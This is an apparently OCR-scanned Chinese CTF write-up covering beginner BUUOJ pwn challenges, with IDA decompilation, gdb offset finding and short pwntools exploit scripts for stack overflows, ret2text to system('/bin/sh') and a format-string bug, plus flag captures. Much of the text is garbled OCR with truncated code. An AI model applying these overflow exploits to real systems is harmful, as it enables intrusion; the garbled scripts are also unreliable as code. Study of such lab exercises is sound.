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Challenge 3139 Solves
test_your_nc
Ubuntu 18
Instance Info
Remaining Time: 10763s
node3.buuoj.cn:28184
Flag Submit

F—: EHENcilY

[sudo]

root@l

1s
bin
boot
dev
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11
-I_ib-J'-l
media
mnt
opt
proc

pwn
root
run
shin
o
SYS
tmp
usr
var

F=0: BAEA flagfF ] catin ST EE .
ckk@localhost: ~/$LE
MfE(F) ThiE(A) miIS(E) EFJH(V) HEBI(H)

[sudo] ckk B3
root@localhost:/

1s

bin

media
mnt
opt
proc
pwn
root
run
sbin
—
5YS
tmp
usrT

4 3flag

nciiy & VE i

ckk@localhost: ~/8LE
XHH(F) ShiE(A) fRIB(E) ZEH(V) HEI(H)
RHEY$ sudo su
rootd i - £HE# nc -help

[vl.1 1.1+b1]
connect to somewhere: nc [-options] hostname port[s] [ports]

listen for inbound: nc -1 -p port [-options] [hostname] [port]
options:

-c shell commands

-g filename

- a broadcasts
-g gateway routing hop point[s]
routing pointer:
this cruft
delay interval for lines




set keepalive option on socket
listen mode, for inbound connects
numeric-only IP addresses, no DNS
hex dump of traffic
local port number
randomize local and remote ports
after EOF on stdin and delay of secs

ype Of S

answer TELNET
UDP mode
verbose [use twice to be more verbose]
ti ut for connects and fimal net reads
CRLF as line-ending
I/0 mode [used for scanning]
: lo-hi [inclusivel;
hyphens in port names must be backslash escaped (e.g. 'f
root@localhost:/home/ckk/SE @ # I https:// .

-¢ shellipZ/9“-e"; {EM/bin/sh3hiT [[BI&]
-e M{FEREFEEEEIT [BE]

-b FVFS 1

-g MXSFREHER, &858

-G numiFEREHIEEr: 4, 8, 12, . .

-i secs ARENLREFIARIEONIGE B 17
-k TEEET g Skeepaliveiskln

-| WOEEL, A AuhIERE

-n (REFIPisht, FoDNS

-0 MR 2 E

-p mOAAHIHS

-r FEH AT AR iR ]

-q secs {Estdin FEOFHIFNERGqFHNEH
-s addrithtASHbFE Lt

-T tos IRBRFSFEE

-t ETELNETHIES

-u UDP#,

-v verbose(s5EFEFE AT S8 1E4H)

-w SIS AR 4SS EGERR

-C RiECRLF{ERTE

-z FIOEL (AT i)

KA —a




Challenge 1634 Solves

Ubuntu 18

Instance Info
Remaining Time: 10786s

node3.buuoj.cn:25092

Destroy this instance Renew this instance

Flag Submit

FT—: THAD pwnl, FIH file L EE.

ckk@localhost: ~/$LE
XUF) IMEA) EE) EE(V) MENH)

z % sudo su

[sudo] ckk FIEE

root@localho -

pwnl:| ELF 64-bit - utable, mically Llink
ed, inte L i .50 for G i @, BuildID[s
hall=1 C e

rootaml

5% W (ELF 64-bit) . JXANIDATEE .
B4 fM2+shift 2| 7Z/HFHEEH O



[5] Strinss window B @ Hex View-1 [

IDA View-4 |

Address Length Type String

‘5’| LOAD: 000 00000010 C f1ib64/1d-1inux—xB6—64. so. 2
‘s’ LOAD ;000 Q0000004 C likc. s0. 8
‘s’| LOAD : 000 00000005 C gets
‘s’ LOAD ;000 Q0000005 C puts
‘s’ LOAD: 000+ 00000007 C system
‘s’| LOAD : 000 Q0000012 C __libec_start_maln
‘s’| LOAD : 000 00000000 C GLIBC_2.2.5
‘s’| LOAD : 000 QO0Q0000F C __gmorn_start__
C please input

‘s’ crodata:- 0000000D
adata s

's’| . eh_fram-= 00000006 C ERE:
2]
1jint _ cdecl main(int argc, const char **argv, const char **envp)
2{
3| char s; ff [rsp+1lh] [rbp-Fh]
4
5/ puts{“"please input");
6| gets((__int6d)&s, (_ inted)argv);
7 puts(&s);
8 puts("ok,bye!1");
9] return @;
10}

JER 7 R B getseRi 5L

ZJ5, #THBEEHNK

getsl M X ZRHA AT R, TR EERE - REZATEAZDTY, SRHRBHFEERLERE. K

A)IERYL, BiAgetsH A BRI \n45H, WS, %A LK.
Witis, BEREZDLFN . ORI EmMEE.



-P0PERRRRARARER1. ; D/A/* change type
-PP0B0RRERREER1e ; N : rename
-0B000RRREREER1e ; U : undefine
-P0PRRRERARARRA1Y ; Use data definition comm
-POPRRRERANRRRA1Y ; Two special fields " r"
-0PPPPRRRERRRAR10 ; Frame size: 1@; Saved re
-06000006RBR00A18 ;

-AREAEEER0RRRA010

-PREBEEAREERRAA1E db ? ; und
-D0PPEDRRRDERERBF s db ?
-PB0B0RRERREBRAE db ? ; und
-PB0B00RRRREERAD db ? ; und
-PB000RERROERAC db ? ; und
-PB0B00RRORROROE db ? ; und
-ARPARRERERBEABA db ? ; und
-ARRAEEERERRRARAS db ? ; und
-AREAEEARRRRA0RE db ? ; und
-BREBEERREBREARAT db ? ; und
-0000PRRDERERAROG db ? ; und
-PP0B0RRERREARAS db ? ; und
-0B000RBREERR4L db ? ; und
-PB0000RRERREERA 3 db ? ; und
-PB0B00RRORROERO2 db ? ; und
-PEEARERRERARAERAT db ? ; und
+0000000000000008 s db 8 dup(?
+0000000000000008 r db 8 dup(?
+0000000000000016

+P000PRRReRERAR1A ; end of stack variables
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5

W U R & EAAANSD b, AT B getet BO Bl k.

fift R E AR

%3] J5H4STH db 8 dup(?)

db: & X R AR R P14

e,

dup(): EEEE XAHE 5 I8 MHIME, OB A I R E

2. ROPfEEasn, ANREYIE

1‘1’):

es and tunctlon argument
dress and saved register




Rt e mis &N . 15+8=23 .
Bl peda kit W & .

xf H 347 gdbiff i -
gdb pwn1

root@localhost: /home S m|# gdb pwnl

nu.org/licenses/gpl.htm

redistribute it.
by law.
for details.

For bu
<https
Find the GDB manua

<http: nu . 'softwar /documentatio

For help, ty
y "apropos wor search for commands related
iding symbols from -
ng symbols found in

PAT rEki# start i S LR F BT . IR start i S PATE, B FHF AT contin @ 4.
7t please input @y % J5, R 2 Bl A2 B i HH R/ ORI B 25

Legend: P ta, value

Temporary breakpoint 1, in main ()
contin
Continuing.

H =% RBPFH A7 8% . AT LLit 5 b nAACAA-A 1) {5 & :
4T pattern offset xxxxxx @4 .



AT o

Vi

XEHEHAmEE. AREZEHERTE. Wi&playloadty, Hik5 R 5 H kA M

A IR

ARCRITEES

_i,

3| stack Z TR 7457 8 /T4 (64 bits v 847 F)

_AAQAAJAA+AA5AARAA2A.

T
=T
=T
=8
=
<
al
=T
=T
[=]
<T
<l
=4
<T
=
=T
<T
=4
<T
H_
<T
<L
(=5
<T
=T
=T
=T
=]
<L
<L
o
<L
=L

<
L=9
.I..\_..-
=
<L
<L
L=4
o
L=s

=
=s
<L
-
=
=8

AGAACAR

AaAADAAFAADAATA

ALAAhAATAAMAAL

ZA

AvAAYAAWAR

AT pattern offset xxxxxx #

o

%5

Vi FH BR

gt

15§:E§1?51E P3N

5] 2] IDA proth . -3

# 3 fun() & %

LS —
R7 & Bt +



Function name Segn _text:0000000000401184 010 leave
LE init prec inid .tex‘thBBGBBBBGBdBllSS 200 . retn
7] sub_401020 olt -text:0006000000401185 i} // starts at 401142
Li _puts .plt .text:0000000000401185 main endp
7| systen plt . text:0000000000401185
7] eets plt _text:0000000000401186
7] _start text _text : 0000000000401186 [ ] - T S N1 e [ = —
|__f_ _dl_relocate_static_pie . text .text:0000000000401186
|_£ deregister_tm_clones . text .text:0000000000401186 ; Attributes: bp-based frame
|_£ register_tm_clones . text .text:0000000000401186
|f| —deo_global_dtors_aux . text .text:P000000000401186 public fun
[£] frane_dunny - text .text:0000000000401186 fun proc near
E main - tex _text:0000000000401186 5 unwind {
£ fun - text _text:0000000000401186 000 push rbp
[£] __libc_ceu_init - text .text:0000000000401187 008 mov rbp, rsp
[£] -libc_csu_fini -E?XF _text:000000000240118A 008 lea rdi, command  ; "/ :
L?—tim—pmc : 1tm .text:0000000000401191 008 call _system
H? E“S:E_ ::t: _text:0000000000401196 003 nop
|L] syst . _text:0000000000401197 003 pop rbp
|_‘f_ libc_start_main exte:
l—i ;e_ts - - exten .text:0000000000401198 060 retn
|f] __emon_start__ exter] ? 136
Start address [0x401186 ~ T T
n 20h
End address  [0x401199 ]
01d name |rbp v‘ DBROUTINE ======================
New name | V‘
Conment | V| E(void)
= Cancal Help 1:]6;11bc_c5u_1n1t s N
_text :0000EERBERADT1AD = unwind { ) -
-text:00000000004011A8 000 push ris
-text:00000000004011A2 000 mov r15, rdx
< > -text:00000000004011A5 000 push ri4

FEIUL: wWEHA

cn', 25092)
6A(0x401186 + 1)
p.sendline(payload)

p.interactive()

BI: PUTIG, 3 35iflag




root@localhost: 2%
[+] Opening connection to nod buuoj.cn on port
Switching to interactive mode

media
mnt
opt
proc
pwn
root
run
sbin
o
5YS

tmp




Challenge 1496 Solves

warmup_csaw_2016
1

Ubuntu 16

Instance Info
Remaining Time: 10775s

node3.buuoj.cn:26%901

Destroy this instance Renew this instance

Flag Submit

ﬁ%#iﬁ: nC*TﬁEEiZJ

c node3.buuoj.cn

filew & &HFH T

version 1
F GNU/L1

24, [sha 7 : 3, stripped
root@localhos

w0 HIDABEE




.rodata:0000000000400734 ; char command]]

.rodata:0000000000400734 command db|'cat flag.txt',0 ; DATA XR

.rodata:0000000000400741 aWarmUp db '-Warm Up-',8Ah,0 ; DATA

.rodata:000000000040074C aWow db "WOW:',@ ; DATA XR

.rodata:0000000000400751 ; char format]]

.rodata:0000000000400751 format db '%p’,0Ah,8 main+39

rodata:0000000000400755 asc_ 408755 db ">",0 main+66
4 =

rodata: 0000000000

AB755 rodata ends

FAE—A catflag.txt dr & . X H 1T gdbiid, GEmWBE.
38 B 3K XA fi e i

i Hl chmod 777 +3C#F 44, K™ KA

hmod 777 warmup_csa

Legend: . rodata, value
Stopped reason:
in 77 ()
pattern offset IAAeAAsL
TAAeAALAATAAT found at offset: 7

A — a1k

F=: %5 exp.py

pwn import *

p = remote( " ne cn', 26470)
payload x" * 72 + po4(ox40060d)
p.sendline(payload)

E.interactive(}

https://blog.csdn.net/ckk1314520

HIUL: pATARY, 1753flag



Challenge 1247 Solves

pwni_sctf_2016
1

Ubuntu 16

* pwnl _sctf 2...

Instance Info
Remaining Time: 10786s

node3.buuoj.cn:27944

Destroy this instance Renew this instance

Flag Submit

F—. Hfilets ST HEE

pwnl_sctf_2016:
ynamically linked,

ildID[shal]l=4b1df
@localhost:/

B . HIDARE



db 2

db 5
; char command] ]
command db 'cat flag.txt',® ; DATA XREF: get flag+6to
align 18h
5 char format[]
format db 'Tell me something about yourself: ',8
; DATA XREF: wvuln+7to
aYou db 'you',® ; DATA XREF: vuln+54to
al db 'I",0 ; DATA XREF: wvuln+79to
; char aSoS[]
aSos db 'So, %s',0Ah,0 ; DATA XREF: wvuln+11Cto
align 4

; char aBasicStringSCol]
aBasicS5tringSCo db 'basic string:: S construct null not valid',®
; DATA XREF: std::string::_S_construct<__gnu_cxx::_J
align 18h
;5 _ gthread_active_p(void)::_ gthread active_ptr
_Z7118__gthread_active_pvE20 gthread_active_ptr db ]

db ]

db ]

db ]
_rodata ends

= HEmMBEE



root@localhost: /home/ckk# nc node3.buuoj.cn 2
ITIIITIIY
Tell me something about yourself: So, youyouyouyouyouyouyouyou

root@localhost: /home/ckk# nc node3.buuoj.cn 2508
IITITIITIITINIIIIIIIIT

timeout: the monitored command dumped core
root@localhost:/home/ckk# ||

2041 AT DU3H i s

@ BE sKEBEZITE L

0000003C s db ?
+00000000 s db 4 dup(?)
st 0x3c BI 60 .

N fetsfRFEID320FR. BAILARIA Al 5 you I MFEESCIIE s,

66/3=20 LFHIHEE 20 | H ol CHHER.

& db 4 dup(?) XEEEANFEREERG!

s — a1k

F=IF: %5 exp.py

1 pwn import *

p = remote( 'node3.buuoj.cn’, 27944)
payload = b'I" * 21 + b'x" + p64(0x8048FeD)
p.sendline(payload)

p.interactive() https:/iblog.csdn.net/ckk131

FIUL: AT, 1753flag



on port 944 Done

u the moni
Got EOF while

Challenge 1238 Solves

ciscn_2019_n_1
1

Ubuntu 18

* ciscn_2019 _n...

Instance Info
Remaining Time: 10781s

node3.buuoj.cn:28941

Destroy this instance Renew this instance

Flag Submit

. Hfilefd 24T

rootflocalhost: /home/ckk/EE # file ciscn 2
ciscn_2019 n_1: ELF it |LSB executable, 64, version 1 (S

cally linked, interpreter /1il ld-1linux 4.s50.2, for GNU/Linux
, BuildID[shal]=8a733

B . FEIDATE, KIfuncHE KIS



3| int result; // ea
4! char ;3 J/
float v2; //

= 0.0;
puts(“Let’'s guess the number.");
gets(&v1);
if ( v2 == 11.28125 )

e system("cat /flag");

else
esul puts(“Its value should be 11.28125");
return H

1v2=11.28125H} 1] bL 15 Fllflag
BN To vk Eo N v2ib AT #4F, R ae il i B vISRAE Ov2i 48, B DAZEXS vA3E 78 #04E 0x30-0x4, 154 v2(¥1 16 911.28125

ar vi; //
float v2; //

R AP A WA P AT 7 AANFD, AT AR 2 e AT # 4k
11.28125 # 4k vy — il 4 1011.01001

M54k 51.01101001*2A3

Jit PA11.281257E 1 47 I il 47 7% 5008

11.28125 =>
0100 0001 0011 0100 1000 0000 0000 0000

FI 161t | & x4 0x4134800

A — 1k

B n’5 exp.py

p = remote('node3.buuoj.cn’,28941)

Payload = b'a'*(x30 - 0x4) + p64(0x41348000)
p.sendline(Payload)
p.interactive()

FWE: PUTHES, 1753flag



i@ # python3 exp.py
node3.buuoj on port e

Challenge 827 Solves

jarvisoj_levelo
1

Ubuntu 16 3E&: https://github.com/bash-c/pwn_repo

Instance Info
Remaining Time: 8310s

node3.buuoj.cn:29536

Destroy this instance Renew this instance

Flag Submit

. Hfilefd 24T

root@localhost:/home/ckk/E®E# file leveld
level®: ELF| 64-bit|LSB ¢ table, version 1 (S ) mamically 11

nked, interpr r /lib ld-linux 4.s0.2, for GNU/Linux 2.6.32, BuildI
D[shal]=8dc@b 5a7b489%e61a7lbcla 4135b@d3d4, not stripped

B . EIDAEE




i Fvulnerable_functions® %, & Ik % H ) read s %

() IDA View-A [E Pseudocode-4 B3

2l

return system("”/bin/sh");

db ?
db ?
db ? ; undefine
db ? ;

db ? ; f

= %5 exp.py

3.buuoj.cn",29536()
A8059A

payload = "a’*(ox80 + ox8) + pe4(ret_arr)
p.sendline(payload)
p.interactive()

https://blog.csdn.net/c

FIUL: AT, 1753flag



E®E# python exp.py
buucj.cn on port 2
7 to interactive mode

-e218-4c99-9851-2dc8

Challenge 607 Solves

1S5 HRZSE2019 REIPWNS5
1

Ubuntu 16

/R nE L,

Instance Info
Remaining Time: 10513s

node3.buuoj.cn:25195

Destroy this instance Renew this instance

Flag Submit

. Hfilefs 24T

root@localhost: /home/ckk/EE # file pwn
executable, Intel 6, version 1 (¢ /), dynamically

"1lib/1d-1inux. s¢ or GNU/Linux 3.2.8, BuildID[shal]=
3 4d44Tcchs@cB5T31c4c23d, stripped

w_b. £IDAKE




shiftH12&5 %5 — T EF RKFRH, FF T lbinish

Address

Length Type String
's’| LOAD:080-+ 00000013 C /1lib/1d-1linux. so. 2
EI LOAD: 080+ 00000004 C libec.so. 6
|‘_‘?| LOAD: 080+ 0000000F C _I0_stdin_used
|‘_?| LOAD: 080+ 00000006 C srand
|‘_?| LOAD: 080+ 00000005 C puts
|‘_?| LOAD: 080+ 00000005 C time
|‘_?| LOAD: 080+ 00000007 C printf
@ LOAD: 080+ 00000005 C read
‘s'| LOAD: 080+ 00000007 C stdout
E;ﬂ LOAD: 080+ 00000007 C system
@ LOAD: 080+ 00000005 C atol
[E LOAD: 080+ 00000005 C open
EE] LOAD: 080+ 00000008 C setvbuf
IEE LOAD: 080+ 00000012 C __libec_start_main
IEE LOAD: 080+ 00000011 C __stack_chk_fail
|‘_?| LOAD: 080+ 00000004 C GLIBC_Z. 4
‘s’| LOAD: 080+ 00000004 C GLIBC_Z2.0
‘s’ LOAD: 080+ 0000000F C __gmon_start__
‘s'| .rodata: -+ 0000000D C /dev /urandom
‘s'| .rodata: 0000000B C your name:
s .rodata:= 00000007 C Hello,
‘s’| .rodata:* 0000000D C your passwd:
's| .rodata:= 00000005 C fail
‘s’ .rodata:- 00000005 C ok!!
§Y .rodata:= 000000C C /bin/sh
‘s’ .eh_fram- 00000007 C #2344
B FH XA 775 5 1 R 5L
int  cdecl main(int al)
i unsigned int v1; // eax
int fd; // ST14 4
int result; // eax
char nptr; // [esp+4h] [ebp-86h]

char buf; // [esp+14h] [ebp-76h]

unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &al;

v6 = _ readgsdword(@xl4u);

setvbuf(stdout, @, 2, @);

vl = time(@);

srand(v1)

fd = open("/dev/urandom”, @);
read(fd, &unk_804C044, 4u);

.
>

printf(“your name:");
read(@, &uf, @x63u);
printf("Hello,");

printf(&buf);

printf("your passwd:");

X e, ctriexik



read(@, & » BxFu);
if ( atoi(& ) == unk_884C844 )
{
puts(“ok!!");
system("/bin/sh");
}

glse

puts("fail");

¥
t = @;
if ( _ readgsdword(@x14u) != vE )
sub_88493D8();
return sult;

5:0804C041 align 4
.bss:0804C044 unk 804C044 db ?
.bss:0804C044

.bss:0804C045 db P
.bss:0804C046 db ? '
.bss:0804C047 db P

Sofs

£ = %Eexp.py

unk 894C044 = 0804C044
payload=fmtstr
p.sendlin e
p.sendlineafter("your p:
p.interactive()

B PATANHS, 7 %flag



exXp.py
.buunj.cn on port 25195: Done




Challenge 560 Solves

[BJDCTF 2ndlrat3
1

Ubuntu 19.04

Please download libc at https://buuoj.cn/resources.

Instance Info
Remaining Time: 10764s

node3.buuoj.cn:

Destroy this instance Renew this instance

Flag Submit

$—. Hfilefs 24T

shal




BEANF R B, I FSf %% a5 2

- " 1int _ edecl main(int arge, const char **argv, const char
Function name 2
E 3| char bufj // [esp+0h] [ebp-408h]
| setvbuf 4
» 5| my_inie();
Iz _mmft_ 6 putm(*ssdsssssdasisiasdEnsRRnRsERRRRRnRn” ),
- 7| puts(”* Welcome to the BJDCTFI L T
E _start | puts(”[+]RetZtext3.0?"); :
iIf 86 i k_b 9 p::;:n[ﬂplang iggut; your name:”);
get pc n X o r s Gbuf, Ox )
- ol 5 1| name check(&buf);
7| deregister_tm_clones 2| puts(’welcome ,u wini");
: _ 3| return 0;
E} register_tm_clones i)}
7] _do_global_dtors_aux

*Tanvp)

7] frame_dummy
7| _dl_registery
] my._init

Lf| _libc_csu_init
7] _libc_csu_fini
EEEerannn:
7] read

7] printf

7] strepy

7] puts
r?Tlv!nun

int  cdecl main(int argc, const char **argv,

{

char buf; // [esp+6h] [ebp-4e8h]

my_init();
puts("*******#*****************##*******");
puts("* Welcome to the BIDCTF! *);
puts("[+]Ret2text3.0?");

puts("[+]Please input your name:");

read(e, &buf, 8x4e0u);

name_check(&buf);

puts("Welcome ,u win!");

return o;

HJeE&buf, X, KB BA G H

const char **envp)




seEEEEFEREEER

name_check

char * cdecl name check(char *s)

{

char dest; // [esp+7h] [ebp-11h]
unsigned int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);

if ( v3 <=3u || v3 > 8u)

{
puts("Oops,u name is too long!");
exit(-1);

¥

printf("Hello,My dear %s", s);

return strcpy(&dest, s);

A B IR A RS, W] LUA R A

[

—&: 9’5 exp.py

w "

p.recvuntil(“name:™)
payload=(0x11+6x4)*b"a’+p32(0x0804858B)
payload=payload.ljust(2ﬁi;-'a‘)
p.sendline(payload)

p.interactive()

hitps://blog.csdn.net/ckk1314520

REEH



FWL AT, 75 3flag

root@localhost:/ ; /£ E # python3 exp.py
[+] Opening connection buucj.cn on port 26779:
[#] Switching to interactive mode

Hello,My de

mrctf2020 _easyoverflow

BRE RS T %

mrctf2020_easyoverflow
1

Ubuntu16.04

& mrctf2020_e...

— L DASED YOLU later

— I T
FHchecksectr & {14

['] '/home/kylin/4'

Arch: amd64-64-1ittle
RELRO:

Stack:
NX:
PIE:




R EEIT A LEN, HIDAE R A

int _ cdecl main(int argc, const char **argv, const char **envp)
{

char v4; f/ [rsp+8h] [rbp-78h]

__int64 v5; ff [rsp+36h] [rbp-48h]

__int64 ve; ff [rsp+38h] [rbp-38h]

_inte4d v7; ff [rsp+48h] [rbp-38h]

__int64 v8; ff [rsp+48h] [rbp-28h]

__int64 v9; ff [rsp+50h] [rbp-28h]

__int64 vie; f/ [rsp+58h] [rbp-18h]

__inti16 v11; f/ [rsp+66h] [rbp-16h]

unsigned _ int6d v12; // [rsp+68h] [rbp-8h]

v12 = _ readfsqword(@x28u);

v5 = 7376685493371762026LL;

vb = 7449000900169689920LL ;

v7 = BLL;

v8 = BLL;

v9 = BLL;

v18 = @LL; .gets*_%}'ﬁ‘ﬁ',ﬂ
vll = @;

| gets(avd, argv);
if ( !(unsigned int)check((__int64)&v5) )
exit(8); b
[system("/bin/sh™);lg ﬁgr]@ﬂii

return @;

} CSDN @@Ses you later
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signed  inted  fastcall check( int6d al)

{
int i; // [rsp+18h] [rbp-8h]
int v3; f/ [rsp+1Ch] [rbp-4h]

|v3 = strlen(fake flag); |
for (1 =8; ; ++1 )
{
if (i ==v3)
| return 1LL; |
if ( *(_ BYTE *)(1i + al) != fake flag[i] )
break;

¥
return @LL;

} CSDH @@5ee you later

ZER BN Rt A VB I1ME 2 75 Mifake_flag () {41 55

7£ dataf & Ffake_flaglf)fd

.data: ey 2011y public take_tlag

.data:0000000000201010 ; char *fake flag

.data:99999@99992@1@19 dq offset aN@tR311yF1G ; DATA XREF: check+Ctr |
.data:0000000000201010 : check+441tr
.data:0000000000201010 data ends ; ["net_r3@lly fi@g"|

.data:0000000000201010
_bsg:@@@@@@@@@@2@1818 e e
he o - ARARAARRRADIAT R Q

SHFEVARIEUE, BB VERIEME, T AFRATTAT L it getsiii i, SKIAFEVEHIEE, Pt DASKHI rvA AIVE I FR S o



int _ cdecl main(int argc, const char **argv, const char **envp)
{

char v4; /f [rsp+@H] [rbp-78h]

__int64 v5; // [rsg+3eh] [rbp- 4@--]|

__int64 ve; ff [rsp+38h] [rbp-38h]

__int64 v7; // [rsp+40h] [rbp-30h]

__int64 v8; // [rsp+48h] [rbp-28h]

__inte4d v9; [/ :r53+E@ ] [rbp-28h]

__int64 vie; f/ [rsp+58h] [rbp-18h]

__int16 vi11; /f [rsp+68h] [rbp-18h]

unsigned _ int64 v12; // [rsp+68h] [rbp-8h]

v12 = _ readfsqword(@x28u);

v5 = 7376685493371762026LL;

6 = 7440000900169689920LL ;

7 = OLL;

2 = OLL;

9 = BLL;

v18 = @LL;

vlil = 8;
| sets(&v4, arsv); |

if ( !(unsigned i“t)check{(__i“t6diar5) )

exit(0);

system("/bin/sh");

return @;
1 SDRM S f
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emmm 1] LAty i&payload |
from pwn import * io=remote("node4.buuoj.cn",25711) payload=b'a’'*@x30+b'net_r3@lly fil@g' io.sendline(payload)

io.interactive()
1217 expfs Flflag

S python3 2.py
[+] Opening connection to node4.buuoj.cn on port 25711: Done
[ ] Switching to interactive mode
cat flag
flag{c5f6cd2e-c4a5-4c31-b2ec-bbaa2bedc3a2}

['] Interrupted
['] Closed connection to node4.buuoj.cn port 25711
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